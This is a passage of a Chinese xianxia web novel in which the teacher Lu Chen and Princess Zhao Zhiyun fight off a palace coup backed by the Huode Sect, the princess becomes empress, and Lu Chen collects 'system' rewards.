浩荡的灵气席卷在整个朱雀大街之上,一时之间掀起无数沉沙碎石。
赵栀韵站定身形,手中忽地浮现一把长剑,其上亦是有火焰附着,绚烂至极。
陆尘则是与其中一人碰拳相撞,一瞬之间倒飞而出,口吐鲜血。
“夫子?”
赵栀韵看向陆尘,面露担忧之色。
“无妨,那人是太阴境。”
陆尘擦了才擦嘴角鲜血,五脏内腑剧烈疼痛,好似是要炸了一般。
“托大了……”
他属实是没有想到,这黑衣人之中竟然会有一位太阴境的大修士。
锻体丶凝气丶道台丶紫府丶上阳丶太阴,身为十五境之中第六境的太阴境,在大离境内几乎可以横着走,哪怕是三大书院的祭酒以及大离皇帝也不过就是太阴境而已。
“难怪这会是一场死劫。”
看着眼前四道黑影,陆尘心中自顾自的念道。
三位三转上阳境强者,一位太阴境大能,这般手笔,属实是恐怖。
若是赵栀韵独行,不会有任何活下去的机会,哪怕有陆尘陪同,在不动用苏月仙所留符文的情况下,恐怕也很难活下来。
“啧啧啧,外界都言白鹿书院有一位夫子被冷月宫看上,原以为陆夫子是什麽吃软饭的小白脸,却没想到这般深藏不露,竟能接下太阴境强者的恐怖一击。”
清脆的巴掌声响起,只见朱雀街的尽头,有位身着华服的男子缓缓走来,嘴角挂着浅浅笑意。
男子容貌俊美,眸子细长,一身华服更是显得其贵气十足,举手投足间都有一股风流之意。
“三弟?当真是你!”
“你自己看看如今皇都是什麽模样!”
见着那来人样貌,赵栀韵贝齿紧咬红唇,浑身颤抖,眸子里杀意毕露。
比起三皇子设局杀自己,赵栀韵更气的是他和外人勾结,混乱皇城,使得皇都动荡,百姓流离。
“皇姐莫要生气,今夜之後,一切都将安好,甚至会更好。”
三皇子轻摇摺扇,浅浅笑道。
“当然前提是——你死了。”
他拖长尾音,眸子里的杀意丝毫不比赵栀韵少。
“为什麽?”
赵栀韵咬牙问道。
在她印象中,三皇子亦是勤恳好学,怀有爱民之心,如何会像今日这般,勾结外敌,祸乱国体。
“没有为什麽,就是想皇姐去死好了。”
“还有父皇,也该死。”
三皇子说着最恶毒的话,脸上却并未有什麽怒色,依旧是笑眯眯的,如同是狐狸一般。
听得此话,赵栀韵脸色一沉,手中长剑剑身火焰更盛。
“此乃我皇家之事,夫子就此离去,还是不要插手好了。”
三皇子又转而看向陆尘说道。
陆尘有冷月宫这层关系在,他自然不愿多生是非。
“若我偏要管呢?”
陆尘呵呵一笑问道。
“那夫子也死在这好了。”
三皇子摺扇掩面,捧腹大笑起来。
“你不会真觉得你坐上那把龙椅能有什麽作为吧?不过是个傀儡而已。”
陆尘眉头一挑,略带讥讽的说道。
【姓名:赵无涯】
【年龄:一十九】
【境界:道台境九重】
【命格:白色】
【生平:生而为皇家贵胄,万千宠爱加身,然其年渐长时,因妒其皇姐之天资,恐皇位交於女子,故与外敌勾结,设局围杀皇姐与大离皇帝,后虽登帝位,却始终受制於人,不得施展抱负手脚,郁郁寡欢而死】
【近期遭遇:与外敌勾结,於朱雀大街围杀皇姐】
武道天眼之下,赵无涯的生平已经完完全全的袒露在陆尘的眼前。
机关算尽,却还是做了别人的傀儡,陆尘也不知道该说他是聪明还是傻了。
“之後事如何,就不劳夫子费心了。”
显然陆尘的话戳到了赵无涯的肺管子,他此时面色显得十分难看,嘴角那笑意也早已荡然无存。
他冷哼一声,转身向那四道黑影恭敬行了一礼。
“麻烦诸位前辈了。”
赵无涯说道。
那四人点了点头,当下也不再废话,转而攻向陆尘二人。
一时之间,浩荡的灵气宣泄而出,炽热的火焰冲天而起,一瞬便点燃了整片夜空。
陆尘一人迎上那三位上阳境强者
,而赵栀韵则是提剑与那太阴境强者碰上。
那三人皆修行火属心法,周身各旋绕着一道火焰,动起身时,火焰升腾而出,裹挟着极为恐怖的威压。
一人应对三人,陆尘此时也不敢再仗着自己的肉身强度肆无忌惮的硬对硬,而是借着地阶上品心法《寒霜冷影》不断的在三人之间周旋,尽量寻找三人之间的破绽。
陆尘以紫府境中期的实力对敌三转上阳境强者已经是逆行伐上,更别说此时是三位三转上阳境连映出手,若自己有任何的失误,必定会遭受重创。
此时陆尘脚步轻点,身影如月般令人捉摸不透,可即便如此,在那数道火焰之下亦是承受着莫大的压力。
灵气不断的消耗磨灭。
陆尘知道,若是拖下去自己必败无疑,上阳境与紫府境本就相差一个大境界,此间差距原是一条不可逾越的鸿沟,哪怕是花神之蕊丶荒古神体精血以及《太上开天经》三大奇物加身,陆尘也不会觉得自己的灵气底蕴能高过上阳境强者。
他只能寻找机会,寻找一击毙命的机会。
“你很强,但也就到此为止了。”
见陆尘不过紫府境界,却能在三人之中周旋良久,其中一人忍不住的感慨一声。
只见他掌心之中有一团火焰升腾而起,虽随风摇曳,好似下一刻便要熄灭,但却给陆尘一股十分窒息的压迫感。
其馀二人亦是双手结印,从掌心处唤出一道摇曳火焰。
三道火焰交融,竟是缓缓凝成一朵莲花。
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火焰莲花有一股异样的美感,令人忍不住的想要将目光注视於其上。
可除此之外,那亦是一朵死亡之花,陆尘知晓,若是令那火焰莲花砸中,自己恐怕要死无葬身之地。
“夫子快跑!”
原本与那太阴境强者交手落㣉下风的赵栀韵,此时因这一分神,更是遭那太阴境强者恐怖一击,当即重重的跌落在地,猛的吐出一口鲜血,将那华贵长袍染的鲜红。
与此同时,那一朵火莲亦是如光点一般的闪烁到陆尘身前,轰然炸裂。
“不要!”
看着那火莲绽放的一刹那,赵栀韵又是一口鲜血吐出,脸色苍白无比。
她眼眸通红,紧咬着牙,心好似石沉大海。
火红色的凤凰虚影缓缓在其身後显现,发出一声极为清脆的鸣叫,竟让那太阴境强者都有些心悸。
此时女子的长发散披,眼神也不再似以往那般如秋水一般柔和。
她的眸子里有火焰摇曳着,好似是火炬在其中燃烧一般。
“不好……这妮子竟是觉醒了某种远古血脉,必须在此之前将之击杀。”
见赵栀韵这般惊人变化,这太阴境强者不再有任何的留手,以雷霆手段将灵力宣泄而出。
那三人在火莲绽放之後,亦是直接转身,准备向赵栀韵袭去。
他们自然不会担心陆尘还活着,要知道,此法名为《焚世火莲》,乃是地阶上品功法,需有至少三道异火融合方可施展,威力之大,足以媲美太阴境强者的全力一击。
而陆尘区区一紫府修士,哪怕再天纵奇才,也不可能在这道火莲之中活下去。
“嘿,回头。”
一道有些沙哑的声音在最後一人背後响起,那人诧异转身,却见本早该灰飞烟灭的陆尘竟依旧生龙活虎的站在自己面前,猛的向自己胸口拍出一掌。
那一掌在刹那之间,哪怕其身为上阳境强者,也是丝毫没有半点避让的空间,只能硬生生的挨下这一掌。
“真该死!”
那人面目狰狞,想着自己堂堂上阳境强者竟要被紫府境修士这般戏耍。
只是很快,他眼中的愤怒便化作恐惧,只见陆尘那一掌拍出后,
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一股白色的火焰在其掌心之处升腾而起,妖异异常。
“你们修行火属心法的人,应该知晓这是什麽吧。”
陆尘笑了笑,那白色的火焰怦然炸响,一瞬间便将那上阳境的强者吞噬殆尽。
其他三人皆是被这突然的变故一惊,陆尘则是趁此间隙,将有些支撑不住的赵栀韵从围困之中救出。
“夫子!”
见到陆尘安然无恙,赵栀韵眸子里才再现亮光。
“我身负一件高阶灵器,借之避开了那火莲。”
陆尘解释道。
那火莲威势极大,陆尘自然不觉得自己能够抗下,当即便是唤出九龙鼎,将身形隐匿其中。
如陆尘所预料的那般,九龙鼎的品阶极高,哪怕那火莲掀起好大的烟尘,自己在鼎中依旧安然无恙。
而陆尘也并未着急从鼎中离开,一直等待在鼎中等待出手的机会,直到以那幽魂白炎发动致命一击。
“你要突破了?”
感受到赵栀韵气息的变化,陆尘轻声问道。
赵栀韵点了点头,觉醒那真凰血脉后,她便能感知到自己的瓶颈隐隐约约的松动,好似已经半只脚踏㣉太阴境界之中,只是因与那太阴强者交手,并没有机会去感悟这份破境
的契机。
“你在此体悟那破境契机,我为你拦下他们。”
陆尘说道。
赵栀韵微微摇头,面露担忧。
“不行,你会死的,太阴境与上阳境之间的差距有如天堑,我与你一同对敌。”
她看着陆尘,十分认真的说道。
“若你未能破境,我们都会死的,只有抓住这一丝机会,方能有一线生机。”
陆尘正色而语。
赵栀韵微微愣神,而後点头。
“好,夫子,你千万不要死。”
她看向陆尘,眼眶通红,好像下一刻要哭出来似的。
“不会的。”
陆尘笑了笑,转身面前那几人。
赵栀韵盘腿而坐,赤红色的火焰环绕在其周身,其身後凤凰虚影亦是悄然浮现,裹挟着一股惊人的炽热之感。
“好一对亡命鸳鸯。”
三皇子坐在屋檐上,手摇摺扇,轻蔑一笑。
“前辈,还请动手,若真让她突破了,情况恐怕不妙。”
见赵栀韵身上气息越发浓郁,三皇子面色又变得稍许凝重起来,他转过身,连忙对那太阴境强者说道。
“闭嘴。”
太阴境强者竟直接一声呵斥,令那三皇子面色瞬间一沉,却又不敢多说些什麽。
“小友天赋惊人,又身负异火,不若㣉我火德宗如何?我保证,给你的只会比冷月宫更多,绝不会更少。”
那太阴境强者褪去黑袍,是位鹤发童颜的老者。
他面露笑意,并未因自己的同伴身死而有任何的怒色。
“若你愿意,可为我宗宗主亲传弟子,自此走上一条坦途,与真正的天之骄子争锋,不比蜗居在这小地方强的多。”
老者缓缓而语,灵气也是收敛㣉体,并未外放任何威压。
“好啊。”
出乎三皇子的意料,陆尘竟是笑着点头,没有丝毫的犹豫。
“火德宗大门大派,自然不是此小地方可比,我若相拒,倒是显得愚昧了。”
陆尘说道。
“那小友让开吧,等老夫将此间事了解,便带你回宗。”
老者眼中一喜,当下乐呵呵说道。
“不行,她怀了我的孩子。”
“长老不若成全我二人,这孩子继承我二人天赋,其天资恐怕举世难寻,会是真正的天之骄子。”
陆尘一脸悲伤,十分诚挚的说道。
老者微微一愣,一时间竟有些意动,眼前这二人都非凡人,皆是天纵之资,如其二人诞下子嗣,确实会是万中无一的天才,恐怕能和那些荒古圣地世家的传人所比拟。
“前辈,这小子在耍你!他二人不过今日才相识!”
三皇子忽地一声暴喝,打断了老者的遐想。
意识到被耍一番的老者当即面色一沉,身上的灵气宣泄而出,不再有丝毫的遮掩。
“想死,那就成全你二人!”
他暴喝一声,猛的袭向陆尘。
陆尘面色沉重,混沌之气在其周身缠绕,气息在一瞬攀升到了极点。
“来啊!”
他咆哮一声,如狮子怒吼。
第二十九章 变故
老者的威势无比猛烈,而陆尘因为身後不远便是赵栀韵,亦是不敢动用身法躲避,只能是将混沌气裹挟在拳上,猛的和老者相撞。
轰的一声,陆尘便犹如断了线的风筝一般倒飞而出,重重的砸落在地,吐出一口鲜血。
“混沌气?《太上开天经》!”
老者仅仅是後退一两步,但眼中却满是震惊。
他属实没有想到,能修炼出混沌气的天下第一心经,竟会出现在大离王朝的一位夫子身上。
“那在交出心经前,你可以不用死了。”
老者哈哈大笑起来,心情一时间竟变得极好。
而那两位上阳境强者脸上亦是挂满笑意,原些因同伴死去的愤怒一瞬间烟消云散。
那可是被誉为天下第一心经的《太上开天经》啊!
与之相比,此行的一切在此刻都显得微不足道。
“想要,就过来拿。”
陆尘爬起身来,还未擦乾嘴角鲜血,便又与那两位上阳境强者碰上,强受了凌厉一击,重创倒地。
或许是怕陆尘那道异火,两位上阳境强者竟然不敢近身与陆尘对敌,只是遥遥隔着一定距离施展术法。
但即便如此,陆尘也有些难以承受。
若不是有花神之蕊在源源不断的滋润周天经脉,恐怕他早已经昏死过去。
此时混沌气宣泄而出,幽魂白炎亦是环绕在陆尘周身,散发着一股怨气。
“冥顽不灵。”
老者冷哼一声,手掌虚空一按,便有一巨大的掌印自九天而落,好似要将一切堙灭一般。
“大荒星陨指!”
陆尘暴喝一声,一指点出,硕大的星辰便是从天边坠落,与那掌印相撞。
只是与之相比,那星辰如薄纸一般被轻易的碾碎,丝毫阻挡不住那句掌印的威势。
陆尘心头一凝,当下只能将混沌气尽数外放,整个人如同利剑一般冲天而起,与那掌印相撞。
一瞬之间,浩荡的灵气席卷了整个朱雀大街,掀起无数尘沙碎石。
而陆尘被那掌硬生生的拍落回地面之上,浑身是血,显得狼狈不堪。
若不是老者觊觎《太上开天经》,稍有留手,陆尘此时恐怕已经是尸体一具了。
老者轻蔑一笑,身形一闪,便到了陆尘面前。
“若不想死,就交出《太上开天经》”
血泊之中,陆尘苦笑不已,他抬起手,掌中符文闪动。
只是还未等他用出那道符文,便有一柄长剑急掠而来,其声势之惊人,竟令那老者瞳孔猛的一缩。
“若要杀他,先问过我手中剑。”
红色的身影出现在陆尘身前,她手持长剑,傲然而立。
太阴境!
女子转过头来,看着血泊之中的陆尘,眼眶通红,好似下一刻便要流泪。
“笑着要好看些。”
陆尘轻咳一声,有鲜血吐出。
听到此言,女子挤出个笑颜。
“等我一下。”
她轻声而语,而後提剑而动,一瞬到了那老者身前。
老者看着眼前气息鼎盛的女子,一时之间竟不敢有丝毫与之争锋的念头。
他属实没有想到,不过片刻之间,女子竟真迈入太阴境之中。
“焚。”
长剑剑影闪烁,剑尖处火凤急掠而出,一瞬之间便将老者吞没。
那赤红色的火焰蕴含着极为恐怖的气息,哪怕老者千辛万苦搜寻的异火,与之相比,也有如萤火比之皓月一般。
还未等其自赤红色火焰中挣扎而出,赵栀韵便是一剑而过,直接贯穿老者整个胸膛。
鲜血自剑尖滴落,将本就附着着火焰的长剑染的更加鲜红。
所谓天骄,无非就是做到两点,以下伐上,同境无敌。
当赵栀韵突破到太阴境后,眼前的老者对其来说,已经同蝼蚁一般无二。
而那两位上阳境强者想要离去,亦是被赵栀韵两道剑光轻易斩落,没有半点的挣扎机会。
看着眼前一幕,三皇子呆愣在屋檐之上,一时间竟忘了逃命。
赵栀韵身影一动,便到了屋檐上,长剑直指三皇子咽喉。
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三皇子惨然一笑,竟也并未做什麽求饶之举,像是认命了一般。
“皇姐不必动手,免得脏了你的剑。”
他又呵呵笑了一声。
“从小到大,天命都在你这边,今日这般必死之局,竟也无用,时也命也。”
三皇子眼神幽幽,从怀中摸出一把匕首,一刀划过脖颈,自刎而死。
赵栀韵转过头去,不愿看这种场景。
她有些明白,又有些不明白。
“夫子,为何呢?”
她神情疑惑的看向从血泊之中爬出的陆尘,希望陆尘能给出一个答案。
“人心本就难测。”
陆尘轻轻叹了口气,也并未多说些什麽。
他看向赵栀韵,神情依旧凝重。
【命格—
—黑色】
【生平:在宫外遭杀局,得贵人相助,终得脱困,乃入皇宫,却身死道消】
【经期遭遇:知晓皇宫之中仍在大战,向皇宫而去】
哪怕已经渡过两场死劫,赵栀韵的命格依旧还是黑色。
依旧是将死之人。
“夫子怎麽了?
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”
见陆尘这如遭雷击的模样,赵栀韵有些慌神问道。
“公主殿下手段惊人,略微有点吃惊。”
陆尘回过神来,尴尬一笑。
他知道皇宫内必然是龙潭虎穴,不然不会连已经突破到太阴境的赵栀韵在其中也落得个身死道消的下场。
不过已经淌了这趟浑水,受了这麽重的伤,要让陆尘在这时退场,他是万万做不到的。
他也想看一看,所谓的黑色气运是否真的无可救药,只有死亡一个结局。
“夫子叫我栀韵便好了。”
长公主莞尔一笑,眸子里好似有秋水荡漾,令人沉醉其中。
陆尘倒也不再客套,毕竟二人也算得上生死与共一场,自然不用这般生疏。
“皇宫之内局势难测,夫子有伤在身,要不别去了吧。”
赵栀韵顿了顿说道。
“我如今伤势,你让我单着走,岂不是更危险。”
陆尘轻笑道。
赵栀韵噗嗤一笑,自然知道这只是陆尘推辞的说法。
二人相视,当即不再停留,身影化作流星般向皇宫跃去。
……
大离,皇宫。
拄着拐杖的老䭾与大离皇帝两相对峙,各自身上的气息都极为恐怖。
老䭾为三转太阴境,而大离皇帝虽是一转境界,但借着皇道龙气以及大阵相持,却是稳稳的压制住老䭾,令其应对的有些许吃力。
“火德宗以大宗之位欺凌小国,当真不怕昆仑圣地责罚?”
大离皇帝冷声而语。
“责罚?呵呵,今日过後大离换了新天,昆仑圣地所辖之域何其广袤,怎会理会一边陲小国。”
老䭾呵呵笑道,手中拐杖化作一条巨蟒,猛的与那火龙相撞。
浩荡的灵气宣泄而出,若不是有大阵相护,恐怕整个皇宫都要被夷为平地。
“如此大动干戈,所为的恐怕不只是区区两个百朝大战的名额吧。”
大离皇帝又问到,心中已经隐隐有了不好的预感。
火德宗来的时机太巧了,正是皇家供奉等外出抵抗兽潮之际,若只是为了两个百朝大战的名额,属实没必要这般大费周章。
“所求为何,陛下马上可知了。”
老䭾乾笑两声,笑意森然。
大离皇帝一瞬之间好似感受到了什麽,猛的回头,只见火花在自己的眼前绽放,绚烂至极。
银袍的男子负手而立,笑容灿烂。
“所幸赵氏古火,在下终入神游之境。”
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第三十章 终局
火花一瞬绽放,轻盈美丽,却又蕴含着狂暴无比的气息,令人没有半点抵抗之力。
大离皇帝如断线风筝一般倒飞而出,身体如流星般坠落,重重的砸烂一处宫殿,倒在大坑之中。
他周遭的皇道龙气亦是顷刻之间崩碎,如薄纸一般四散。
“你怎会知晓我皇族禁忌?”
大离皇帝咳血不止,气虚已经变得十分微弱。
修行的境界越高,境界之间的差距便是越发难以逾越,银袍男子踏入神游境界,仅仅一击,便令大离皇帝几近垂死。
“那要谢谢你皇家三皇子了,为了那把龙椅,他可是什麽都愿意做。”
银袍男子咧嘴而笑,笑容灿烂。
如今夺得天凰炎,踏入神游之境,已经是心情大好,自然不介意与将死之人多说两句。
“恭贺少主!”
老者单膝跪地,十分虔诚而语。
听得银袍男子言语,大离皇帝心如死灰,当下自嘲的笑了笑,一时间不知道说些什麽好。
“对了,三皇子正和我火德宗长老围杀你大离长公主呢,算算时间,长公主也应该身陨了,你无需担忧。”
他嘴角勾起,饶有兴趣的看着大离皇帝。
果不其然,原先还面如死灰彷佛接受一切的大离皇帝,此刻眼中满是怒火,皇道龙气亦是再度凝聚,想要最後一博。
银袍男子笑意更甚,对,就是这种表情,这种愤怒而又无能无力,无可奈何的表情。
太愉悦了。
他静静的等待着大离皇帝将那皇道龙气再度凝聚於身,而後手作剑指,一道凌厉的恐怖气息如长剑一般急掠而去。
铿锵一声,一道身影忽地出现在大离皇帝身前,手持长剑将那一道凌厉剑气拦下。
“韵儿!你破境了!”
大离皇帝又惊又喜,神色复杂。
赵栀韵转过身来,手中的上等灵器已经崩的粉碎,嘴角亦是有鲜血流出。
太阴境与神游境境界的差距属实难以逾越,仅仅一击,赵栀韵就险些重伤。
“父皇,儿臣来迟了。”
看着大离皇帝那重伤垂死的模样,赵栀韵面露愧疚神色说道。
“你不该回来的……”
大离皇帝看了眼银袍男子,心中的惊喜一瞬消散,又叹了口气幽幽说道。
银袍男子也并未着急动手,饶有兴趣的欣赏眼前这生离死别的一幕。
愉悦,属实是太愉悦了。
“这位是……”
看到赵栀韵身旁还站了一人,大离皇帝又问道。
他此时五脏六腑已经在灵海之内炸开,称得上是垂死之人,若不是有皇道龙气加身吊着一口气,恐怕已经是身死道消。
“这位是白鹿书院的陆夫子,若不是有夫子相护,儿臣恐怕早已身死宫外。”
赵栀韵说道。
听得此言,大离皇帝竟然不顾礼节,深深向陆尘行了一礼。
“多谢夫子相救,烦请夫子带小女离去,我来拖住他二人。”
赵云澜神色郑重说道。
“别在这相互推辞了,今日你们一个也走不了。”
银袍男子此时已经坐在一火焰所化的皇座之上,讥讽着看向几人。
“还望少主恕罪,莫二几人办事无能,竟让这女子杀了过来。”
老者见女子已经突破到太阴境界,属实是有些不敢相信。
要知道那可是三位三转上阳境以及一位一转太阴境修士公布的围杀之局,这般死局,竟也让其杀了出来,老者不敢想象其中到底发生了什麽。
“此女断不可留。”
老者眸子里的杀意毕露,年不过二十二的太阴修士,哪怕比之那些圣地亲传也毫不逊色,这般天骄,不可能让其成长下去。
“无妨,我说话,今日,他们无一人能离开。”
银袍男子虚空踏步,火红色阶竟随着他每一步自然在半空之中生成。
一步一阶,离的陆尘三人越来越近。
天凰炎在其周身缭绕,裹挟着滔天气焰,令人难以喘息。
大离皇帝还想挣扎些什麽,却发现在神游境强者的威压之下,竟然是动弹不得,只能看着那银袍男子离自己越来越近。
“想不到我赵氏皇族竟要死於本族古火之下,真是讽刺。”
他惨然一笑,而後满是歉意的看向赵栀韵二人。
“韵儿,父皇连累你了,也连累这位夫子了。”
他叹息一声说道。
赵栀韵摇了摇头。
“儿臣身为皇族中人,自然不可能舍弃皇室与京都百姓而去,父皇无需多言。”
“倒是夫子……”
她转过头看向陆尘,眼中满是愧疚之意。
自己与其无亲无故的,夫子三番两次的救自己已经是天大的恩情,自己竟还要将其置身於险境。
想到此处,赵栀韵眼眶又是通红。
与二人伤怀的面色不同,陆尘脸色平静,直直的盯着那一步一阶,缓慢向自己走来的银袍男子。
“你怕死吗?”
陆尘问道。
银袍男子哈哈大笑,只觉得眼前之人倒反天罡,竟将自己要说的
词给先说了去。
“不应该我问你吗?”
银袍男子反问道。
“我当然怕。”
陆尘说道。
“怕就好,你越是恐惧,我越是愉悦。”
银袍男子道。
“我倒是想知道你要死时,会不会恐惧呢?”
陆尘又道。
“我也想知道,天底下能让我感受到死亡危机的人肯定不少,但很可惜,你们几个还不配。”
银袍男子呵呵一笑,手指轻点,火花在其指尖跳跃闪烁。
陆尘抬起手,掌心符文闪烁着异样的光。
“你会知道的。”
陆尘轻声而语,掌中猛的迸发出一道强光,将天地遮掩,令人彷佛置身於纯白世界之中。
转瞬后,世界崩碎,恢复了原本的模样。
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> 原些在半空中的神游强䭾怔怔的看着自己胸口处的大洞,眼中神色复杂。
还未等他有任何别的动作,便如断线风筝跌落在地,气息消散,同死尸无异。
天凰炎自其体内飘出,竟是十分狗腿的又跑到赵栀韵身旁。
突然的变故震惊了所有人,甚至包括陆尘自己。
“不愧是女魔头给的东西,太暴力了。”
陆尘在心中啧啧叹道。
哪怕是神游境强䭾,在这符文一击之下也是顷刻殒命 没有半点抵抗之力。
“还有位太阴强䭾,就交给你了。”
他看向赵栀韵,气息十分虚弱的说道。
赵栀韵回过神来,也并未过多追问什麽,脚步轻点,便欲袭向那太阴境老䭾。
“等等……”
“即日起,大离皇位由长公主赵栀韵继任,为大离女帝,白鹿书院夫子陆尘,为大离帝师。”
大离皇帝忽地高声而语,藉由皇道龙气,将旨意传遍整个京都。
一瞬间,天地变色,大离皇帝身上的皇道龙气也不断的在赵栀韵身上凝聚,将之衬的无比华贵。
赵栀韵玉指轻点,那天凰炎便猛的袭向太阴境老䭾,将之吞噬殆尽。
而失去皇道龙气的大离皇帝踉跄倒地,气息微弱,一副垂死样貌。
“父皇!”
赵栀韵转过身来,惊呼一声,眼泪不自觉的夺眶而出。
“父皇也不想你担此重担,但火德宗恐怕不会这麽善罢甘休,皇室子女中,只有你可以服众,待时局稳定后,若你不想管世俗杂物,便将皇位传给老七吧。”
“夫子,还望多拂照一二,大恩大德,赵氏不敢忘。”
他又看向陆尘,见陆尘微微点头,这口吊着的气才彻底咽下。
身形也化作点点星光,四散而去。
真正的身死道消。
赵栀韵伸出手想要握住些什麽,可最终什麽也握不住。
倒塌的宫殿周遭忽地涌㣉诸多禁卫,齐齐跪拜。
“恭送吾皇!”
他们高声而喝。
陆尘对此倒并不意外,毕竟神仙打架,这些禁卫除了躲起来也做不到别的事,只能在此刻出来。
他看向赵栀韵,只见她龙气护体,在千人跪拜之下,隐隐间已是有女帝之威严。
而她头顶上挥之不去的黑气,也在此刻逐渐转变。
白丶黄丶蓝丶紫丶金!
命格不断变换,直到凝聚的金色气息在其头顶之处盘旋。
【命格:金色——帝路争锋】
陆尘长舒一口气。
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第三十一章 真凰血术
【夫子之责行使完毕】
【宿主将获得大量回馈奖励】
【一:五百年紫府修为】
【二:小神通——真凰血术(极致的杀伐之术,为古之真凰天生神通)】
【三:真凰精血(受真凰精血淬炼,可免受天下异火侵袭)】
系统的机械声音悄然在陆尘脑海之中响起,令其有些难以按耐不住心中的喜色。
只是如今氛围凝重,陆尘自然也不好表现的多麽欣喜。
“这些琐事我就不插手了,你让底下的大臣做就好了,早些休息。”
见赵栀韵面向自己,陆尘轻声说道。
“自然不敢再劳烦夫子,不过帝师一事……”
赵栀韵有些犹豫,想说些什麽但没有说出口。
“挂名可以,真要做什麽,我倒是不太乐意,不过数月後的大离演武,可由我来主持。”
陆尘又道。
此届的大离演武将选拔出参加百朝大战的种子选手,届时各方天骄齐出,定会有命格不凡之人,陆尘自然不想错过。
“也好,夫子也早些休息,大恩大德,栀韵不敢忘。”
赵栀韵施施然行礼,却被陆尘一把扶住。
“新君登基,还是威严些好,明日可将境内各宗宗主唤来商议,也好威慑火德宗,此外也需向圣地通报,以免火德宗再犯。”
陆尘小声在赵栀韵耳边说道,而後告别离去,在一名禁卫的带领下去到别殿。
经今夜一战,大离皇室自然是受到重创,可称是百废待兴,但这些琐事便是其大离皇室内部之事,陆尘自然不可能为之再多操心,简单提点一二句后,便转身离去。
赵栀韵则是不顾新君威严,在众目睽睽之下对着陆尘背影施施然行礼。
她看着陆尘离去的身影,心中忽地像是被抽离出了什麽东西一般。
其实直到现在,赵栀韵也并不知晓陆尘为何会为自己做到这一步,毕竟真说起来,二人不过才相识半日不到。
她想了很久,或许这便是古书上所谓的君子吧。
“风雨如晦,鸡鸣不已。既见君子,云胡不喜?”
没来由的,赵栀韵喃喃而语。
…………
金碧辉煌的寝宫内,陆尘盘腿而坐,将因接连大战而紊乱的气息调平。
五百年的紫府修为如海般涌入陆尘体内,在灵海之中翻涌澎湃。
那枚麒麟状的玉影光芒闪烁,将近乎七成的修为吸入,好似刚出尘世的饕餮巨兽一般。
陆尘知晓自己难以阻拦,因此只能调整呼吸,运作太上开天经,将剩馀的紫府修为吸收。
紫气在其周身悄然显现,却越是旋绕便越是浓郁。
良久后,陆尘终於睁开眸子,眸中紫气已经凝聚到极为恐怖的地步。
“紫府境後期了……”
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陆尘喃喃而语,历经一晚上的生死之战,再加之这五百年的紫府境修为,自己竟然立即突破紫府境中期的桎梏,到达了紫府境後期境界。
他稍一挥袖,便是能感受到一股极为浓郁的气息激荡而出,陆尘相信,如是此时自己再与那三位上阳境强者交手,定然不会只能靠着身法躲躲藏藏,最终藉由九龙鼎完成袭击了。
“真凰血术……”
看着在自己眼前浮现的经文,陆尘心头一惊,不禁感慨不愧是金色命格所带来的奖励,属实惊人。
秘术心法武技皆可分为天地玄黄四阶,而在此四阶之上,可谓之神通。
神通大多出於古之大妖或古之大能,与之相比,哪怕是天阶功法也不过是废纸一张。
若其出世,则必将掀起腥风血雨,哪怕是高高在上的荒古圣地丶禁区世家亦是会为之动容,相互厮杀的暗无天日。
至於底下那些皇朝王朝,则更是不敢有丝毫染指神通的欲念,知晓匹夫无罪怀璧其罪的道理。
而神通又有三十六小神通,十大绝世神通之分别。
十大神通世所罕见,几乎不见於世,而三十六小神通则大多流传於荒古圣地,禁区世家之中,且只会令宗门族内最出色子弟修习。
这真凰血术,便是位列三十六道小神通之一,而且是极其前列的位置,几乎要接近那十大绝世神通。
若是外界知晓大离王朝有此神通出世,到那时可不会是简简单单一个火德宗前来了,而会是东域的所有巨
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头下场,掀起席卷亿万生灵的腥风血雨。
陆尘摇了摇头,将杂念收起,当下再度入定冥想,感悟这道神通之术。
炽热的火焰在其周遭升腾而起,恍惚间,陆尘只觉得自己置身於一片蛮荒世界之中。
一轮硕大无比的炎日高悬於世,冷漠无情的炙烤着整片大地。
龙吟之声在远处响起,陆尘顶着那炽热刺眼的阳光向远处而望,只见一条巨龙腾云驾雾,在九天之上盘旋咆哮。
随後又有一只浑身裹挟炽热火焰的凤凰自天边出现,清脆的凤鸣之声一瞬间响彻天地,将那龙吟之声
打断。
凤凰腾跃至九天之上,滔天烈焰顷刻间便将整片天日遮蔽,而後自九天而落,带着血与火同那真龙相撞。
陆尘目不转睛,即便那火焰异常刺眼,亦是不肯有丝毫的扭头。
砰的一声,世界崩碎,陆尘睁开眸子,猛的吐出一口鲜血。
在其灵海之内,血红色小字的经文飘浮着,正是那《真凰血术》。
“好强……”
回想起那真龙与真凰交手的画面,陆尘不免有些感慨。
那般威势,只怕天地也要因彼此而碎裂,落得个天倾陆沉的境地。
与之相比,今夜的连番大战倒显得像是一群幼儿在玩闹了。
陆尘轻叹一声,将眼前剩馀的精血吸纳入体,与吸纳荒古神体精血一般,这个过程极为痛苦,好似是渗出炼狱一般。
好在已经有过一次经验,陆尘咬咬牙,也就这般挺过来了。
花神之蕊可护佑自身不受巫蛊毒咒的侵袭,而真凰精血则可护佑自己免受异火侵扰,堪称恐怖。
要知道天底下大道千万,不尽其数,但只有两条大道,被公认为最多人前行。
一条是剑之大道,一条则是火之大道。
真凰精血可护佑自己不受异火侵袭,那麽自己与这些修行火之大道的修士交手,先天已立於不败之地。
陆尘伸了伸懒腰,历经一夜大战所致的劳累感已经缓缓消散,取而代之的是前所未有的充盈感。
他推开窗,只见窗外明月高悬,恰如玉盘一般,算算日子,也快到八月十五了。
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第三十二章 山雨欲来风满楼
大离,白鹿书院,木竹屋。
陆尘睁开双眸,周遭混沌气一瞬间如鱼入海,重返其灵海之中。
天地之间虽灵气弥漫,但其中亦有差别,如山下灵气,自然是比不得洞天福地之中,洞天福地之灵气,则又比不过日出东升之紫气。
而混沌之气,为天地混沌初开之时所诞生的灵气,毫无疑问是第一灵气。
《太上开天经》之所以号称天下第一心经,也是因为其是天地下唯一一部可以修炼出混沌气的心法。
“《凝气篇》终於修习完了。”
陆尘长舒口气,心情大好。
那一夜过後,大离境内人心惶惶,究竟发生了什麽,除开那几位大人物外,鲜少有人知晓。
赵栀韵以太阴境界登临皇位后,当即施以雷霆手段,将朝中叛臣一并铲除,使得朝局稳定,同时又对受遭波及百姓安扶救济,这才使得民心未散,龙气依旧凝聚。
而她也如陆尘所建议的那般,次日便邀三大书院祭酒以及四大宗门首领相商,向火德宗展示大离底蕴。
数日後,火德宗竟直接有三名神游境强者压境,其威压之惊人,更是覆盖了半个大离疆域,大有灭国之势。
诸宗主也知晓唇亡齿亡的道理,大敌当前,也并未有人退缩。
